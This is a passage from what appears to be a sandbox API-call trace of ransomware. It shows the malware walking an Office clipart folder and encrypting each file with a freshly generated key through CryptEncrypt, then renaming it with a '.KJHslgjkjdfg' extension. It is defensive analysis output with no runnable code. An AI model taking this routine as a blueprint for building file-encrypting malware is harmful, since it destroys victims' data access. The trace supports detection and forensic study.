cAlternateFileName="")) returned 1 [0202.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.066] GetProcessHeap () returned 0x2ef0000 [0202.066] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.066] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.069] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.069] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.069] GetProcessHeap () returned 0x2ef0000 [0202.069] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.069] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.069] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.069] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.069] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.069] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.069] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.069] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.070] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.070] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.070] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x544, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x544, lpOverlapped=0x0) returned 1 [0202.070] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x550) returned 1 [0202.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.070] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x550, lpOverlapped=0x0) returned 1 [0202.070] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.070] SetEndOfFile (hFile=0x130) returned 1 [0202.073] GetProcessHeap () returned 0x2ef0000 [0202.073] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.073] GetProcessHeap () returned 0x2ef0000 [0202.073] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.kjhslgjkjdfg")) returned 1 [0202.074] CloseHandle (hObject=0x130) returned 1 [0202.074] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0202.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.076] GetProcessHeap () returned 0x2ef0000 [0202.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.076] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.076] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.079] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.079] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.079] GetProcessHeap () returned 0x2ef0000 [0202.079] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.079] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.079] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.079] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.079] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.079] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c98, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c98, lpOverlapped=0x0) returned 1 [0202.082] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ca0) returned 1 [0202.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.083] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ca0, lpOverlapped=0x0) returned 1 [0202.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.083] SetEndOfFile (hFile=0x130) returned 1 [0202.085] GetProcessHeap () returned 0x2ef0000 [0202.085] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.085] GetProcessHeap () returned 0x2ef0000 [0202.085] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.kjhslgjkjdfg")) returned 1 [0202.087] CloseHandle (hObject=0x130) returned 1 [0202.087] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0202.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.088] GetProcessHeap () returned 0x2ef0000 [0202.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.088] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.088] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.090] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.090] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.090] GetProcessHeap () returned 0x2ef0000 [0202.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.090] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.090] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.091] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.091] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.091] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.091] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b8, lpOverlapped=0x0) returned 1 [0202.091] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c0) returned 1 [0202.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.091] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c0, lpOverlapped=0x0) returned 1 [0202.091] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.092] SetEndOfFile (hFile=0x130) returned 1 [0202.094] GetProcessHeap () returned 0x2ef0000 [0202.094] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.094] GetProcessHeap () returned 0x2ef0000 [0202.094] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.kjhslgjkjdfg")) returned 1 [0202.096] CloseHandle (hObject=0x130) returned 1 [0202.096] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0202.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.097] GetProcessHeap () returned 0x2ef0000 [0202.097] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.097] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.097] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.100] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.100] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.100] GetProcessHeap () returned 0x2ef0000 [0202.100] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.100] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.100] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.100] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.100] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.100] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.100] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.101] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.101] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.101] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b8, lpOverlapped=0x0) returned 1 [0202.101] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c0) returned 1 [0202.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.101] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c0, lpOverlapped=0x0) returned 1 [0202.101] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.101] SetEndOfFile (hFile=0x130) returned 1 [0202.104] GetProcessHeap () returned 0x2ef0000 [0202.104] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.104] GetProcessHeap () returned 0x2ef0000 [0202.104] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.kjhslgjkjdfg")) returned 1 [0202.105] CloseHandle (hObject=0x130) returned 1 [0202.106] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0202.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.107] GetProcessHeap () returned 0x2ef0000 [0202.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.107] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.107] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, 